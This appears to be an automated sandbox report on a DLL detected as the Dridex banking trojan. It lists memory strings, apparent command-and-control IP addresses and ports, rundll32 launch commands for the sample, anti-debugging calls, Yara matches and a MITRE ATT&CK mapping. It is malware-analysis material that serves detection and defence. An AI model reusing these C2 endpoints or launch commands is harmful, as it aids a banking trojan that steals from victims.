Source: rundll32.exe, 00000007.00000003.632573369.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/M
Source: loaddll32.exe, 00000002.00000002.814006156.0000000000F58000.00000004.00000020.sdmp	String found in binary or memory: https://185.56.219.47:8116/Ps%
Source: rundll32.exe, 00000007.00000003.590697653.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/fW
Source: rundll32.exe, 00000007.00000003.693220636.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/j
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/l
Source: loaddll32.exe, 00000002.00000003.538347137.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/ll
Source: rundll32.exe, 00000007.00000003.746859571.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/llo
Source: loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/y$7
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.438132004.0000000003361000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.734581021.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/
Source: rundll32.exe, 00000007.00000003.734581021.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/(r
Source: rundll32.exe, 00000007.00000003.454521385.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/-
Source: rundll32.exe, 00000007.00000003.496322195.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/.Q
Source: rundll32.exe, 00000007.00000003.734581021.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/0
Source: loaddll32.exe, 00000002.00000003.451141108.0000000000F57000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/3
Source: loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/5
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/563209-4053062332-1002
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/563209-4053062332-1002L
Source: rundll32.exe, 00000007.00000003.615902947.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/563209-4053062332-1002y
Source: rundll32.exe, 00000007.00000003.479578980.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/6Q
Source: loaddll32.exe, 00000002.00000002.814100062.0000000000F98000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/Aq
Source: loaddll32.exe, 00000002.00000003.451141108.0000000000F57000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/B
Source: rundll32.exe, 00000007.00000003.438132004.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/BQ
Source: loaddll32.exe, 00000002.00000002.814100062.0000000000F98000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/Certification
Source: rundll32.exe, 00000007.00000003.624273197.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/FQ
Source: rundll32.exe, 00000007.00000003.615902947.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/GlobalSign
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/Im
Source: rundll32.exe, 00000007.00000003.615902947.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/Is
Source: loaddll32.exe, 00000002.00000003.507704635.0000000000F59000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000002.815150304.00000000032FA000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/K
Source: loaddll32.exe, 00000002.00000002.814100062.0000000000F98000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/P6
Source: loaddll32.exe, 00000002.00000002.814100062.0000000000F98000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/S
Source: loaddll32.exe, 00000002.00000003.507704635.0000000000F59000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/T
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/Vs
Source: rundll32.exe, 00000007.00000003.438132004.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/_s
Source: loaddll32.exe, 00000002.00000003.640878974.0000000000F55000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/aenh.dll
Source: rundll32.exe, 00000007.00000003.734581021.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/en-US
Source: rundll32.exe, 00000007.00000003.496358216.0000000005416000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.565824893.0000000005416000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/graphy
Source: rundll32.exe, 00000007.00000003.565788704.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/jQ
Source: rundll32.exe, 00000007.00000003.693267353.0000000005416000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/liuS
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/nQ
Source: rundll32.exe, 00000007.00000003.516053522.0000000005416000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.693267353.0000000005416000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/ography
Source: rundll32.exe, 00000007.00000003.615902947.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/rs
Source: loaddll32.exe, 00000002.00000003.591088945.0000000000F58000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/y
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/zQ
Source: rundll32.exe, 00000007.00000003.430153868.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://19dl.windowsupdate.com/
Source: loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp	String found in binary or memory: https://45.7-
Source: rundll32.exe, 00000007.00000003.471262416.00000000033A1000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96/
Source: rundll32.exe, 00000007.00000003.433791949.000000000339E000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96/-
Source: loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp, loaddll32.exe, 00000002.00000003.615853148.0000000000F58000.00000004.00000001.sdmp, loaddll32.exe, 00000002.00000003.451150859.0000000000F60000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.746888787.0000000005416000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/
Source: rundll32.exe, 00000007.00000003.524364338.0000000005416000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/.0.96:6891/
Source: rundll32.exe, 00000007.00000003.565824893.0000000005416000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/.0.96:6891/liuS
Source: loaddll32.exe, 00000002.00000003.434212982.0000000000F5A000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/08/
Source: loaddll32.exe, 00000002.00000003.451150859.0000000000F60000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/08/l
Source: loaddll32.exe, 00000002.00000003.434212982.0000000000F5A000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/14
Source: rundll32.exe, 00000007.00000003.693220636.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/14M
Source: loaddll32.exe, 00000002.00000003.640878974.0000000000F55000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/899f5f57b9a
Source: rundll32.exe, 00000007.00000003.438113449.00000000033D1000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/9
Source: rundll32.exe, 00000007.00000002.815937821.0000000005413000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.524364338.0000000005416000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.734607197.0000000005416000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.590739605.0000000005416000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/Microsoft
Source: loaddll32.exe, 00000002.00000003.451150859.0000000000F60000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/Q%
Source: rundll32.exe, 00000007.00000002.815937821.0000000005413000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/Rf
Source: rundll32.exe, 00000007.00000003.524364338.0000000005416000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/Vi
Source: loaddll32.exe, 00000002.00000003.434212982.0000000000F5A000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/der
Source: rundll32.exe, 00000007.00000003.487977022.0000000005416000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000002.815937821.0000000005413000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.516053522.0000000005416000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/graphy
Source: loaddll32.exe, 00000002.00000003.649139573.0000000000F55000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000002.815358842.00000000033D1000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/q
Source: loaddll32.exe, 00000002.00000003.484765322.0000000000F56000.00000004.00000001.sdmp, loaddll32.exe, 00000002.00000003.715289859.0000000000F54000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.433750522.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/r
Source: rundll32.exe, 00000007.00000002.815358842.00000000033D1000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/rY
Source: rundll32.exe, 00000007.00000003.565824893.0000000005416000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/ri
Source: loaddll32.exe, 00000002.00000003.591079359.0000000000F4C000.00000004.00000001.sdmp	String found in binary or memory: https://452.46.210.220/

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache

Source: C:\Windows\System32\loaddll32.exe

Code function: 2_2_6E9639F9 InternetReadFile,

Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.3:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.3:49743 version: TLS 1.2

E-Banking Fraud:

Yara detected Dridex unpacked file

Show sources

Source: Yara match	File source: 9.3.rundll32.exe.46edb55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.rundll32.exe.46edb55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.rundll32.exe.8edb55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.loaddll32.exe.10edb55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.7ddb55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.7ddb55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.loaddll32.exe.10edb55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.6e930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.loaddll32.exe.6e930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.rundll32.exe.31bdb55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.rundll32.exe.31bdb55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.rundll32.exe.8edb55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.411045678.00000000046D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.816097382.000000006E931000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.380770170.00000000007C0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.815049595.000000006E931000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.400629828.00000000008D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.413004072.00000000010D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.381345345.00000000031A0000.00000040.00000001.sdmp, type: MEMORY

Detected Dridex e-Banking trojan

Show sources

Source: C:\Windows\System32\loaddll32.exe

Code function: 2_2_6E9351A7 OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,GetAdaptersInfo,

Source: SecuriteInfo.com.Variant.Razy.980776.9478.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E9467C8
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E94AE80
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E948AB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E9526B0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E951EB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E936AD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E9496D0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E95FA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E953EC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E948EF0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E94B6F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E9562F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E94F6E0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E93CA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E95FA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E950220
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E95D620
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E951240
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E939E70
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E949E70
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E94A660
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E957660
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E952E60
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E93B79B
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E931784
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E9483C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E947FC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E957FC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E94E3F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E959B10
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E953B00
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E951730
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E94BF50
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E945B60
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E955CB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E94E0A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E954CA0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E9550A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E95DCA0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E94A0D0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E9498DA
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E9488C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E948CC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E94D030
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E951020
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E94C590
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E94D980
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E95D180
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E93F9A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E94FDD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E9589F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E9571F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E947564
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_6E97E210

Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E9422A0 NtDelayExecution,
Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E95BE30 NtClose,

Source: SecuriteInfo.com.Variant.Razy.980776.9478.dll

ReversingLabs: Detection: 38%

Source: SecuriteInfo.com.Variant.Razy.980776.9478.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll,Bluewing
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll,Earth
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll,Masterjust
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll,Bluewing
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll,Earth
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll,Masterjust
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll',#1

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: classification engine

Classification label: mal84.bank.troj.evad.winDLL@11/1@0/4

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll,Bluewing

Source: SecuriteInfo.com.Variant.Razy.980776.9478.23455

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: SecuriteInfo.com.Variant.Razy.980776.9478.dll

Static file information: File size 1375232 > 1048576

Source: SecuriteInfo.com.Variant.Razy.980776.9478.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: SecuriteInfo.com.Variant.Razy.980776.9478.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

Code function: OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,GetAdaptersInfo,

Source: C:\Windows\System32\loaddll32.exe

Code function: 2_2_6E943930 GetTokenInformation,GetTokenInformation,GetSystemInfo,GetTokenInformation,

Source: C:\Windows\System32\loaddll32.exe

Code function: 2_2_6E95CEF8 FindFirstFileExW,

Source: rundll32.exe, 00000007.00000002.815256104.0000000003356000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAWM
Source: loaddll32.exe, 00000002.00000002.813943136.0000000000F4C000.00000004.00000020.sdmp, rundll32.exe, 00000007.00000002.815256104.0000000003356000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: loaddll32.exe, 00000002.00000002.813943136.0000000000F4C000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAWd

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_6E9A97B0 IsDebuggerPresent,IsDebuggerPresent,CreateThread,std::_Timevec::_Timevec,WaitForSingleObjectEx,

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_6E9A8B60 __invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__cftoe,__aligned_msize,__invoke_watson_if_error,GetFileType,WriteConsoleW,GetLastError,__cftoe,WriteFile,WriteFile,OutputDebugStringW,__invoke_watson_if_error,__CrtDbgReportWV,

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_6E9A47C0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_6EA7BA72 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_6EA7B64D push dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_6EA7B942 mov eax, dword ptr fs:[00000030h]

Source: C:\Windows\System32\loaddll32.exe

Code function: 2_2_6E946C50 KiUserExceptionDispatcher,LdrLoadDll,

Source: C:\Windows\System32\loaddll32.exe	Code function: 2_2_6E947A60 RtlAddVectoredExceptionHandler,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_6E9763A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.77.0.96 235
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.56.219.47 180
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.46.210.220 187
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 143.244.140.214 40

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll',#1

Source: loaddll32.exe, 00000002.00000002.814515137.0000000001820000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.815474501.0000000003780000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: loaddll32.exe, 00000002.00000002.814515137.0000000001820000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.815474501.0000000003780000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000002.00000002.814515137.0000000001820000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.815474501.0000000003780000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000002.00000002.814515137.0000000001820000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.815474501.0000000003780000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetACP,GetLocaleInfoW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\System32\loaddll32.exe

Code function: 2_2_6E942980 GetUserNameW,

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection112	Process Injection112	OS Credential Dumping	Security Software Discovery21	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rundll321	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Account Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Owner/User Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol13	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Network Configuration Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	File and Directory Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
